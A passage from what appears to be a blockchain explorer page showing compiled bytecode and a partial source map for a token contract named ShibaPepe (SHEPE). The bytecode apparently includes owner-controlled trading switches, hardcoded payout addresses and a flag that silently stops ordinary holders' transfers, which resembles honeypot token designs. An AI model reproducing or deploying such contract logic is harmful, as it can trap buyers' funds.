80fd5b8335611510816114b5565b92506020840135611520816114b5565b929592945050506040919091013590565b5f60208284031215611541575f80fd5b8135610513816114b5565b5f805f6060848603121561155e575f80fd5b505081359360208301359350604090920135919050565b5f8060408385031215611586575f80fd5b8235611591816114b5565b9150602083013580151581146115a5575f80fd5b809150509250929050565b5f805f805f805f60e0888a0312156115c6575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f8060408385031215611608575f80fd5b8235611613816114b5565b915060208301356115a5816114b5565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104c4576104c4611623565b5f8261166857634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104c4576104c4611623565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156116a4575f80fd5b8151610513816114b5565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116ff5784516001600160a01b0316835293830193918301916001016116da565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104c4576104c4611623565b5f805f60608486031215611745575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122044248105803da50f563c4ef0408f644759e22e9167e47804aeca31c350bb47a164736f6c63430008190033

Deployed Bytecode

0x608060405260043610610164575f3560e01c806379c1a09a116100cd57806395d89b4111610087578063afd2c2f211610062578063afd2c2f214610413578063d5aced4f14610432578063dd62ed3e14610451578063f2fde38b14610495575f80fd5b806395d89b41146103b3578063a9059cbb146103e0578063a9e75723146103ff575f80fd5b806379c1a09a14610319578063893d20e8146103475780638a8c523c146103635780638c0b5e22146103775780638f3fa8601461038b5780639358928b1461039f575f80fd5b8063313ce5671161011e578063313ce567146102825780634d8088021461029d57806351bc3c85146102be57806370a08231146102d2578063715018a6146102f1578063751039fc14610305575f80fd5b806306fdde031461016f578063095ea7b3146101b257806318160ddd146101e157806323b872dd146101ff57806326991cc81461021e5780632f54bf6e14610255575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b5060408051808201909152600981526853686962615065706560b81b60208201525b6040516101a99190611480565b60405180910390f35b3480156101bd575f80fd5b506101d16101cc3660046114c9565b6104b4565b60405190151581526020016101a9565b3480156101ec575f80fd5b506004545b6040519081526020016101a9565b34801561020a575f80fd5b506101d16102193660046114f3565b6104ca565b348015610229575f80fd5b5060025461023d906001600160a01b031681565b6040516001600160a01b0390911681526020016101a9565b348015610260575f80fd5b506101d161026f366004611531565b5f546001600160a01b0391821691161490565b34801561028d575f80fd5b50604051600981526020016101a9565b3480156102a8575f80fd5b506102bc6102b736600461154c565b61051a565b005b3480156102c9575f80fd5b506102bc6105fa565b3480156102dd575f80fd5b506101f16102ec366004611531565b610656565b3480156102fc575f80fd5b506102bc610670565b348015610310575f80fd5b506102bc6106c9565b348015610324575f80fd5b506101d1610333366004611531565b60126020525f908152604090205460ff1681565b348015610352575f80fd5b505f546001600160a01b031661023d565b34801561036e575f80fd5b506102bc6106f0565b348015610382575f80fd5b506101f1610714565b348015610396575f80fd5b506101f161073d565b3480156103aa575f80fd5b506101f161074d565b3480156103be575f80fd5b50604080518082019091526005815264534845504560d81b602082015261019c565b3480156103eb575f80fd5b506101d16103fa3660046114c9565b610777565b34801561040a575f80fd5b506101f1610783565b34801561041e575f80fd5b506102bc61042d366004611575565b610793565b34801561043d575f80fd5b506102bc61044c3660046115b0565b6107d2565b34801561045c575f80fd5b506101f161046b3660046115f7565b6001600160a01b039182165f90815260116020908152604080832093909416825291909152205490565b3480156104a0575f80fd5b506102bc6104af366004611531565b61083f565b5f6104c03384846108a7565b5060015b92915050565b5f6104d684848461092c565b6001600160a01b0384165f9081526011602090815260408083203380855292529091205461050f91869161050a9086610c3b565b6108a7565b5060015b9392505050565b5f546001600160a01b0316331461052f575f80fd5b5f6127108261053d60045490565b6105479190611637565b610551919061164e565b90505f6127108461056160045490565b61056b9190611637565b610575919061164e565b90505f6127108661058560045490565b61058f9190611637565b610599919061164e565b60068590556007869055600887905590505f6105cb6103e86105c560056105bf60045490565b90610c46565b90610c51565b90508082101580156105dd5750808310155b80156105e95750808410155b6105f1575f80fd5b50505050505050565b33736ef006cbf1aa10f96ddedd00966be018cbd7edc214610619575f80fd5b61062a61062530610656565b610c5c565b60405133904780156108fc02915f818181858888f19350505050158015610653573d5f803e3d5ffd5b50565b6001600160a01b03165f9081526010602052604090205490565b5f546001600160a01b03163314610685575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106de575f80fd5b61271060088190556006819055600755565b5f546001600160a01b03163314610705575f80fd5b600b805460ff19166001179055565b5f60035460085461072460045490565b61072e9190611637565b610738919061164e565b905090565b5f60035460065461072460045490565b5f61073861075c61dead610656565b6107716107685f610656565b60045490610c3b565b90610c3b565b5f6104c033848461092c565b5f60035460075461072460045490565b5f546001600160a01b031633146107a8575f80fd5b6001600160a01b03919091165f908152601260205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146107e7575f80fd5b60158790556016869055600f82905560138490556017819055600e8390556014859055600354610818906005610c51565b600e54111580156105e95750600354610832906005610c51565b600f5411156105f1575f80fd5b5f546001600160a01b03163314610854575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108b9575f80fd5b6001600160a01b0382166108cb575f80fd5b6001600160a01b038381165f8181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f8111610937575f80fd5b6001600160a01b038316610949575f80fd5b6001600160a01b03821661095b575f80fd5b610966838383610dbd565b801561097757506109778383610e8a565b801561098857506109888383610ee6565b801561099a575061099a838383610f39565b15610c3657806109a984610656565b10610b22576002546001600160a01b038481169116148015906109e457506001600160a01b0383165f9081526012602052604090205460ff16155b80156109f85750600d54610100900460ff16155b8015610a1c57506001600160a01b0382165f9081526012602052604090205460ff16155b15610a4057600b54610100900460ff1615610a3657505050565b610a408383610ffe565b6001600160a01b0383165f90815260106020526040902054610a629082610c3b565b6001600160a01b0384165f90815260106020526040812091909155610a878484611039565b610a915781610a9c565b610a9c84848461107d565b6001600160a01b0384165f90815260106020526040902054909150610ac19082611167565b6001600160a01b038085165f8181526010602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b149085815260200190565b60405180910390a350505050565b6002546001600160a01b03848116911614801590610b5757506001600160a01b0383165f9081526012602052604090205460ff165b8015610b6b5750600d54610100900460ff16155b8015610b8f57506001600160a01b0382165f9081526012602052604090205460ff16155b15610c36576001600160a01b0382165f90815260106020526040902054610bb69082610c3b565b6001600160a01b038084165f908152601060205260408082209390935590851681522054610be49082611167565b6001600160a01b038481165f8181526010602090815260409182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161091f565b505050565b5f610513828461166d565b5f6105138284611637565b5f610513828461164e565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c8f57610c8f611680565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ce6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d0a9190611694565b81600181518110610d1d57610d1d611680565b6001600160a01b03909216602092830291909101909101528115610db957600154610d539030906001600160a01b0316846108a7565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d8b9085905f908690309042906004016116af565b5f604051808303815f87803b158015610da2575f80fd5b505af1158015610db4573d5f803e3d5ffd5b505050505b5050565b6001600160a01b038083165f90815260126020526040808220549286168252812054909160ff90811691168115610e0857600554841115610e0857600b805461ff0019166101001790555b81158015610e14575080155b8015610e2b57506001600160a01b03851661dead14155b8015610e4557506002546001600160a01b03868116911614155b15610e7e57610e5261073d565b6001600160a01b0386165f90815260106020526040902054610e749086611167565b1115610e7e575f80fd5b50600195945050505050565b6002545f906001600160a01b038381169116148015610ec157506001600160a01b0383165f9081526012602052604090205460ff16155b156104c0576001600c5f828254610ed89190611720565b909155505050600192915050565b6001600160a01b0382165f9081526012602052604081205460ff16158015610f2657506001600160a01b0382165f9081526012602052604090205460ff16155b156104c057600b5460ff166104c0575f80fd5b6002545f906001600160a01b03858116911614610fa757610f58610783565b82111580610f7d57506001600160a01b0384165f9081526012602052604090205460ff165b80610f9f57506001600160a01b0383165f9081526012602052604090205460ff165b610fa7575f80fd5b610faf610714565b82111580610fd457506001600160a01b0384165f9081526012602052604090205460ff165b80610ff657506001600160a01b0383165f9081526012602052604090205460ff165b61050f575f80fd5b6110088282611172565b15610db9575f61101730610656565b9050600954811061102757506009545b61103081611208565b505f600c555050565b6001600160a01b0382165f9081526012602052604081205460ff161580156105135750506001600160a01b03165f9081526012602052604090205460ff1615919050565b5f806110898585611387565b1115611160575f6110ab61109d8686611387565b6003546105bf908690610c51565b305f908152601060205260409020549091506110c79082611167565b305f81815260106020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111179085815260200190565b60405180910390a36014541561114e5761114e3061dead6111496014546105bf60035489610c5190919063ffffffff16565b61092c565b6111588382610c3b565b915050610513565b5092915050565b5f6105138284611720565b6001600160a01b0381165f9081526012602052604081205460ff161580156111b257506001600160a01b0383165f9081526012602052604090205460ff16155b80156111c05750600d5460ff165b80156111d65750600a546111d330610656565b10155b80156111e0575060015b80156111f45750600d54610100900460ff16155b8015610513575050600b5460ff1692915050565b600d805461ff0019166101001790556013546016546015545f92611241926002926105bf929161123b9182906001611167565b90611167565b90505f61125d826105c560155486610c4690919063ffffffff16565b90505f61126a8483610c3b565b90504761127682610c5c565b5f6112814783610c3b565b90505f6112a361129c60155488610c3b90919063ffffffff16565b8390610c51565b90505f6112bb60155483610c4690919063ffffffff16565b905080156112cd576112cd86826113d1565b6016545f906112e1906105bf856002610c46565b9050801561132957604051736ef006cbf1aa10f96ddedd00966be018cbd7edc29082156108fc029083905f818181858888f19350505050158015611327573d5f803e3d5ffd5b505b4780156113705760405173ad8e9d291b2fa2dee42bfbe0966772faaeeb94da9082156108fc029083905f818181858888f1935050505015801561136e573d5f803e3d5ffd5b505b5050600d805461ff00191690555050505050505050565b6002545f906001600160a01b03908116908416036113a85750600e546104c4565b6002546001600160a01b03908116908316036113c75750600f546104c4565b5060175492915050565b6001546113e99030906001600160a01b0316846108a7565b60015460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611454573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114799190611733565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610653575f80fd5b5f80604083850312156114da575f80fd5b82356114e5816114b5565b946020939093013593505050565b5f805f60608486031215611505575f80fd5b8335611510816114b5565b92506020840135611520816114b5565b929592945050506040919091013590565b5f60208284031215611541575f80fd5b8135610513816114b5565b5f805f6060848603121561155e575f80fd5b505081359360208301359350604090920135919050565b5f8060408385031215611586575f80fd5b8235611591816114b5565b9150602083013580151581146115a5575f80fd5b809150509250929050565b5f805f805f805f60e0888a0312156115c6575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f8060408385031215611608575f80fd5b8235611613816114b5565b915060208301356115a5816114b5565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104c4576104c4611623565b5f8261166857634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104c4576104c4611623565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156116a4575f80fd5b8151610513816114b5565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116ff5784516001600160a01b0316835293830193918301916001016116da565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104c4576104c4611623565b5f805f60608486031215611745575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122044248105803da50f563c4ef0408f644759e22e9167e47804aeca31c350bb47a164736f6c63430008190033

Deployed Bytecode Sourcemap

3403:13777:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5901:83;;;;;;;;;;-1:-1:-1;5971:5:0;;;;;;;;;;;;-1:-1:-1;;;5971:5:0;;;;5901:83;;;;;;;:::i;:::-;;;;;;;;7005:159;;;;;;;;;;-1:-1:-1;7005:159:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;7005:159:0;893:187:1;6183:100:0;;;;;;;;;;-1:-1:-1;6263:12:0;;6183:100;;;1231:25:1;;;1219:2;1204:18;6183:100:0;1085:177:1;7746:277:0;;;;;;;;;;-1:-1:-1;7746:277:0;;;;;:::i;:::-;;:::i;3512:23::-;;;;;;;;;;-1:-1:-1;3512:23:0;;;;-1:-1:-1;;;;;3512:23:0;;;;;;-1:-1:-1;;;;;1892:32:1;;;1874:51;;1862:2;1847:18;3512:23:0;1728:203:1;1015:103:0;;;;;;;;;;-1:-1:-1;1015:103:0;;;;;:::i;:::-;1070:4;1105:5;-1:-1:-1;;;;;1094:16:0;;;1105:5;;1094:16;;1015:103;6092:83;;;;;;;;;;-1:-1:-1;6092:83:0;;3724:1;2330:36:1;;2318:2;2303:18;6092:83:0;2188:184:1;9697:680:0;;;;;;;;;;-1:-1:-1;9697:680:0;;;;;:::i;:::-;;:::i;:::-;;15367:204;;;;;;;;;;;;;:::i;6460:119::-;;;;;;;;;;-1:-1:-1;6460:119:0;;;;;:::i;:::-;;:::i;1351:139::-;;;;;;;;;;;;;:::i;6831:166::-;;;;;;;;;;;;;:::i;4832:46::-;;;;;;;;;;-1:-1:-1;4832:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5992:92;;;;;;;;;;-1:-1:-1;6044:7:0;6071:5;-1:-1:-1;;;;;6071:5:0;5992:92;;6738:85;;;;;;;;;;;;;:::i;15233:126::-;;;;;;;;;;;;;:::i;13776:132::-;;;;;;;;;;;;;:::i;6291:161::-;;;;;;;;;;;;;:::i;5806:87::-;;;;;;;;;;-1:-1:-1;5878:7:0;;;;;;;;;;;;-1:-1:-1;;;5878:7:0;;;;5806:87;;7437:165;;;;;;;;;;-1:-1:-1;7437:165:0;;;;;:::i;:::-;;:::i;15978:138::-;;;;;;;;;;;;;:::i;7610:128::-;;;;;;;;;;-1:-1:-1;7610:128:0;;;;;:::i;:::-;;:::i;11532:522::-;;;;;;;;;;-1:-1:-1;11532:522:0;;;;;:::i;:::-;;:::i;6587:143::-;;;;;;;;;;-1:-1:-1;6587:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6695:18:0;;;6668:7;6695:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6587:143;1195:148;;;;;;;;;;-1:-1:-1;1195:148:0;;;;;:::i;:::-;;:::i;7005:159::-;7080:4;7097:37;7106:10;7118:7;7127:6;7097:8;:37::i;:::-;-1:-1:-1;7152:4:0;7005:159;;;;;:::o;7746:277::-;7847:4;7864:39;7874:9;7885;7896:6;7864:9;:39::i;:::-;-1:-1:-1;;;;;7946:22:0;;;;;;:11;:22;;;;;;;;7934:10;7946:34;;;;;;;;;7914:79;;7923:9;;7946:46;;7985:6;7946:38;:46::i;:::-;7914:8;:79::i;:::-;-1:-1:-1;8011:4:0;7746:277;;;;;;:::o;9697:680::-;1070:4;1105:5;-1:-1:-1;;;;;1105:5:0;1596:10;1094:16;1580:28;;;;;;9834:24:::1;9901:5;9878:19;9862:13;6263:12:::0;;;6183:100;9862:13:::1;:35;;;;:::i;:::-;9861:45;;;;:::i;:::-;9834:72;;9917:23;9985:5;9960:21;9944:13;6263:12:::0;;;6183:100;9944:13:::1;:37;;;;:::i;:::-;9943:47;;;;:::i;:::-;9917:73;;10001:17;10057:5;10038:15;10022:13;6263:12:::0;;;6183:100;10022:13:::1;:31;;;;:::i;:::-;10021:41;;;;:::i;:::-;10073:20;:42:::0;;;10126:22:::1;:46:::0;;;10183:16:::1;:34:::0;;;10001:61;-1:-1:-1;;10244:30:0::1;10269:4;10244:20;10262:1;10244:13;6263:12:::0;;;6183:100;10244:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:30::i;:::-;10228:46;;10306:5;10293:9;:18;;:46;;;;;10334:5;10315:15;:24;;10293:46;:75;;;;;10363:5;10343:16;:25;;10293:75;10285:84;;;::::0;::::1;;9823:554;;;;9697:680:::0;;;:::o;15367:204::-;15417:10;3956:42;15417:30;15409:39;;;;;;15459:42;15476:24;15494:4;15476:9;:24::i;:::-;15459:16;:42::i;:::-;15512:51;;15520:10;;15541:21;15512:51;;;;;;;;;15541:21;15520:10;15512:51;;;;;;;;;;;;;;;;;;;;;15367:204::o;6460:119::-;-1:-1:-1;;;;;6553:18:0;6526:7;6553:18;;;:9;:18;;;;;;;6460:119::o;1351:139::-;1070:4;1105:5;-1:-1:-1;;;;;1105:5:0;1596:10;1094:16;1580:28;;;;;;1432:1:::1;1416:18:::0;;-1:-1:-1;;;;;;1416:18:0::1;::::0;;1450:32:::1;::::0;1874:51:1;;;1450:32:0::1;::::0;1862:2:1;1847:18;1450:32:0::1;;;;;;;1351:139::o:0;6831:166::-;1070:4;1105:5;-1:-1:-1;;;;;1105:5:0;1596:10;1094:16;1580:28;;;;;;6904:5:::1;6885:16;:24:::0;;;6920:20:::1;:28:::0;;;6959:22:::1;:30:::0;6831:166::o;6738:85::-;1070:4;1105:5;-1:-1:-1;;;;;1105:5:0;1596:10;1094:16;1580:28;;;;;;6793:15:::1;:22:::0;;-1:-1:-1;;6793:22:0::1;6811:4;6793:22;::::0;;6738:85::o;15233:126::-;15277:7;15339:12;;15320:16;;15304:13;6263:12;;;6183:100;15304:13;:32;;;;:::i;:::-;:47;;;;:::i;:::-;15297:54;;15233:126;:::o;13776:132::-;13822:7;13888:12;;13865:20;;13849:13;6263:12;;;6183:100;6291:161;6350:7;6377:67;6421:22;3774:42;6421:9;:22::i;:::-;6377:39;6394:21;6412:1;6394:9;:21::i;:::-;6377:12;;;:16;:39::i;:::-;:43;;:67::i;7437:165::-;7515:4;7532:40;7542:10;7554:9;7565:6;7532:9;:40::i;15978:138::-;16028:7;16096:12;;16071:22;;16055:13;6263:12;;;6183:100;7610:128;1070:4;1105:5;-1:-1:-1;;;;;1105:5:0;1596:10;1094:16;1580:28;;;;;;-1:-1:-1;;;;;7701:22:0;;;::::1;;::::0;;;:13:::1;:22;::::0;;;;:29;;-1:-1:-1;;7701:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7610:128::o;11532:522::-;1070:4;1105:5;-1:-1:-1;;;;;1105:5:0;1596:10;1094:16;1580:28;;;;;;11723:13:::1;:28:::0;;;11762:13:::1;:28:::0;;;11801:8:::1;:18:::0;;;11830:15:::1;:32:::0;;;11873:12:::1;:26:::0;;;11910:9:::1;:20:::0;;;11941:8:::1;:18:::0;;;-1:-1:-1;11991:12:0;:19:::1;::::0;-1:-1:-1;11991:16:0::1;:19::i;:::-;11978:9;;:32;;:67;;;;-1:-1:-1::0;12026:12:0::1;::::0;:19:::1;::::0;12043:1:::1;12026:16;:19::i;:::-;12014:8;;:31;;11970:76;;;::::0;::::1;1195:148:::0;1070:4;1105:5;-1:-1:-1;;;;;1105:5:0;1596:10;1094:16;1580:28;;;;;;1275:5:::1;:15:::0;;-1:-1:-1;;;;;;1275:15:0::1;-1:-1:-1::0;;;;;1275:15:0;::::1;::::0;;::::1;::::0;;;1306:29:::1;::::0;1874:51:1;;;1306:29:0::1;::::0;1862:2:1;1847:18;1306:29:0::1;;;;;;;1195:148:::0;:::o;7172:257::-;-1:-1:-1;;;;;7265:19:0;;7257:28;;;;;;-1:-1:-1;;;;;7304:21:0;;7296:30;;;;;;-1:-1:-1;;;;;7337:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7389:32;;1231:25:1;;;7389:32:0;;1204:18:1;7389:32:0;;;;;;;;7172:257;;;:::o;8031:1658::-;8148:1;8131:6;:19;8123:28;;;;;;-1:-1:-1;;;;;8170:23:0;;8162:32;;;;;;-1:-1:-1;;;;;8213:23:0;;8205:32;;;;;;8268:47;8286:9;8297;8308:6;8268:17;:47::i;:::-;:101;;;;;8332:37;8348:9;8359;8332:15;:37::i;:::-;8268:154;;;;;8386:36;8401:9;8412;8386:14;:36::i;:::-;8268:214;;;;;8439:43;8453:9;8464;8475:6;8439:13;:43::i;:::-;8250:1432;;;8537:6;8513:20;8523:9;8513;:20::i;:::-;:30;8509:1162;;8603:8;;-1:-1:-1;;;;;8590:21:0;;;8603:8;;8590:21;;;;:71;;-1:-1:-1;;;;;;8637:24:0;;;;;;:13;:24;;;;;;;;8636:25;8590:71;:104;;;;-1:-1:-1;8687:7:0;;;;;;;8686:8;8590:104;:154;;;;-1:-1:-1;;;;;;8720:24:0;;;;;;:13;:24;;;;;;;;8719:25;8590:154;8564:324;;;8791:16;;;;;;;8787:29;;;8031:1658;;;:::o;8787:29::-;8838:30;8847:9;8858;8838:8;:30::i;:::-;-1:-1:-1;;;;;8929:20:0;;;;;;:9;:20;;;;;;:32;;8954:6;8929:24;:32::i;:::-;-1:-1:-1;;;;;8906:20:0;;;;;;:9;:20;;;;;:55;;;;9005:35;8916:9;9030;9005:13;:35::i;:::-;:87;;9086:6;9005:87;;;9043:40;9054:9;9065;9076:6;9043:10;:40::i;:::-;-1:-1:-1;;;;;9134:20:0;;;;;;:9;:20;;;;;;8980:112;;-1:-1:-1;9134:40:0;;8980:112;9134:24;:40::i;:::-;-1:-1:-1;;;;;9111:20:0;;;;;;;:9;:20;;;;;;;:63;;;;9198:46;;;;;;;;;;9229:14;1231:25:1;;1219:2;1204:18;;1085:177;9198:46:0;;;;;;;;8545:715;8031:1658;;;:::o;8509:1162::-;9301:8;;-1:-1:-1;;;;;9288:21:0;;;9301:8;;9288:21;;;;:66;;-1:-1:-1;;;;;;9330:24:0;;;;;;:13;:24;;;;;;;;9288:66;:95;;;;-1:-1:-1;9376:7:0;;;;;;;9375:8;9288:95;:141;;;;-1:-1:-1;;;;;;9405:24:0;;;;;;:13;:24;;;;;;;;9404:25;9288:141;9266:405;;;-1:-1:-1;;;;;9487:20:0;;;;;;:9;:20;;;;;;:32;;9512:6;9487:24;:32::i;:::-;-1:-1:-1;;;;;9464:20:0;;;;;;;:9;:20;;;;;;:55;;;;9561:20;;;;;;;:32;;9586:6;9561:24;:32::i;:::-;-1:-1:-1;;;;;9538:20:0;;;;;;;:9;:20;;;;;;;;;:55;;;;9617:38;1231:25:1;;;9617:38:0;;;;9538:20;;9617:38;;1204:18:1;9617:38:0;1085:177:1;9266:405:0;8031:1658;;;:::o;528:98::-;586:7;613:5;617:1;613;:5;:::i;846:98::-;904:7;931:5;935:1;931;:5;:::i;634:98::-;692:7;719:5;723:1;719;:5;:::i;13237:531::-;13327:16;;;13341:1;13327:16;;;;;;;;13303:21;;13327:16;;;;;;;;;;-1:-1:-1;13327:16:0;13303:40;;13372:4;13354;13359:1;13354:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13354:23:0;;;:7;;;;;;;;;;:23;;;;13398:10;;:17;;;-1:-1:-1;;;13398:17:0;;;;:10;;;;;:15;;:17;;;;;13354:7;;13398:17;;;;;:10;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13388:4;13393:1;13388:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13388:27:0;;;:7;;;;;;;;;;;:27;13430:15;;13426:335;;13494:10;;13462:57;;13479:4;;-1:-1:-1;;;;;13494:10:0;13507:11;13462:8;:57::i;:::-;13534:10;;:215;;-1:-1:-1;;;13534:215:0;;-1:-1:-1;;;;;13534:10:0;;;;:61;;:215;;13614:11;;13534:10;;13664:4;;13695;;13719:15;;13534:215;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13426:335;13292:476;13237:531;:::o;10801:723::-;-1:-1:-1;;;;;10947:24:0;;;10900:4;10947:24;;;:13;:24;;;;;;;11012;;;;;;;;10900:4;;10947:24;;;;;11012;11057:147;;;;11113:20;;11104:6;:29;11100:93;;;11154:16;:23;;-1:-1:-1;;11154:23:0;;;;;11100:93;11233:22;11232:23;:63;;;;;11273:22;11272:23;11232:63;:113;;;;-1:-1:-1;;;;;;11312:33:0;;3774:42;11312:33;;11232:113;:160;;;;-1:-1:-1;11383:8:0;;-1:-1:-1;;;;;11362:30:0;;;11383:8;;11362:30;;11232:160;11214:279;;;11465:15;:13;:15::i;:::-;-1:-1:-1;;;;;11428:20:0;;;;;;:9;:20;;;;;;:32;;11453:6;11428:24;:32::i;:::-;11427:53;;11419:62;;;;;;-1:-1:-1;11512:4:0;;10801:723;-1:-1:-1;;;;;10801:723:0:o;12994:235::-;13109:8;;13075:4;;-1:-1:-1;;;;;13096:21:0;;;13109:8;;13096:21;:50;;;;-1:-1:-1;;;;;;13122:24:0;;;;;;:13;:24;;;;;;;;13121:25;13096:50;13092:108;;;13186:1;13163:11;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;;13217:4:0;12994:235;;;;:::o;12740:242::-;-1:-1:-1;;;;;12847:24:0;;12825:4;12847:24;;;:13;:24;;;;;;;;12846:25;:54;;;;-1:-1:-1;;;;;;12876:24:0;;;;;;:13;:24;;;;;;;;12875:25;12846:54;12842:111;;;12925:15;;;;12917:24;;;;;10385:408;10524:8;;10490:4;;-1:-1:-1;;;;;10511:21:0;;;10524:8;;10511:21;10507:153;;10572:19;:17;:19::i;:::-;10557:11;:34;;:62;;;-1:-1:-1;;;;;;10595:24:0;;;;;;:13;:24;;;;;;;;10557:62;:90;;;-1:-1:-1;;;;;;10623:24:0;;;;;;:13;:24;;;;;;;;10557:90;10549:99;;;;;;10693:13;:11;:13::i;:::-;10678:11;:28;;:56;;;-1:-1:-1;;;;;;10710:24:0;;;;;;:13;:24;;;;;;;;10678:56;:84;;;-1:-1:-1;;;;;;10738:24:0;;;;;;:13;:24;;;;;;;;10678:84;10670:93;;;;;14094:426;14174:33;14186:9;14197;14174:11;:33::i;:::-;14170:343;;;14224:28;14255:24;14273:4;14255:9;:24::i;:::-;14224:55;;14322:15;;14298:20;:39;14294:118;;-1:-1:-1;14381:15:0;;14294:118;14426:36;14441:20;14426:14;:36::i;:::-;-1:-1:-1;14499:1:0;14477:11;:24;14094:426;;:::o;13916:170::-;-1:-1:-1;;;;;14025:24:0;;14000:4;14025:24;;;:13;:24;;;;;;;;14024:25;:54;;;;-1:-1:-1;;;;;;;14054:24:0;;;;;:13;:24;;;;;;;;14053:25;;13916:170;-1:-1:-1;13916:170:0:o;12062:670::-;12159:7;12218:1;12183:32;12194:9;12205;12183:10;:32::i;:::-;:36;12179:517;;;12236:17;12256:67;12290:32;12301:9;12312;12290:10;:32::i;:::-;12272:12;;12256:29;;:11;;:15;:29::i;:67::-;12383:4;12365:24;;;;:9;:24;;;;;;12236:87;;-1:-1:-1;12365:39:0;;12236:87;12365:28;:39::i;:::-;12356:4;12338:24;;;;:9;:24;;;;;;;:66;;;;12424:45;;-1:-1:-1;;;;;12424:45:0;;;;;;;12459:9;1231:25:1;;1219:2;1204:18;;1085:177;12424:45:0;;;;;;;;12488:8;;:21;12484:153;;12530:91;12548:4;3774:42;12577:43;12611:8;;12577:29;12593:12;;12577:11;:15;;:29;;;;:::i;:43::-;12530:9;:91::i;:::-;12658:26;:11;12674:9;12658:15;:26::i;:::-;12651:33;;;;;12179:517;-1:-1:-1;12713:11:0;12062:670;-1:-1:-1;;12062:670:0:o;740:98::-;798:7;825:5;829:1;825;:5;:::i;14528:402::-;-1:-1:-1;;;;;14650:24:0;;14610:4;14650:24;;;:13;:24;;;;;;;;14649:25;:67;;;;-1:-1:-1;;;;;;14692:24:0;;;;;;:13;:24;;;;;;;;14691:25;14649:67;:100;;;;-1:-1:-1;14733:16:0;;;;14649:100;:163;;;;;14794:18;;14766:24;14784:4;14766:9;:24::i;:::-;:46;;14649:163;:205;;;;-1:-1:-1;14829:25:0;14649:205;:230;;;;-1:-1:-1;14872:7:0;;;;;;;14871:8;14649:230;:262;;;;-1:-1:-1;;14896:15:0;;;;;14528:402;-1:-1:-1;;14528:402:0:o;16124:1053::-;5738:7;:14;;-1:-1:-1;;5738:14:0;;;;;16261:15:::1;::::0;16242:13:::1;::::0;16217::::1;::::0;5738:14;;16216:69:::1;::::0;16283:1:::1;::::0;16217:60:::1;::::0;16261:15;16217:39:::1;::::0;;;5748:4;16217:17:::1;:20::i;:::-;:24:::0;::::1;:39::i;16216:69::-;16194:91;;16296:23;16322:42;16352:11;16322:25;16333:13;;16322:6;:10;;:25;;;;:::i;:42::-;16296:68:::0;-1:-1:-1;16375:20:0::1;16398:27;:6:::0;16296:68;16398:10:::1;:27::i;:::-;16375:50:::0;-1:-1:-1;16457:21:0::1;16489:30;16375:50:::0;16489:16:::1;:30::i;:::-;16530:16;16549:37;:21;16575:10:::0;16549:25:::1;:37::i;:::-;16530:56;;16597:15;16615:44;16628:30;16644:13;;16628:11;:15;;:30;;;;:::i;:::-;16615:8:::0;;:12:::1;:44::i;:::-;16597:62;;16670:20;16693:26;16705:13;;16693:7;:11;;:26;;;;:::i;:::-;16670:49:::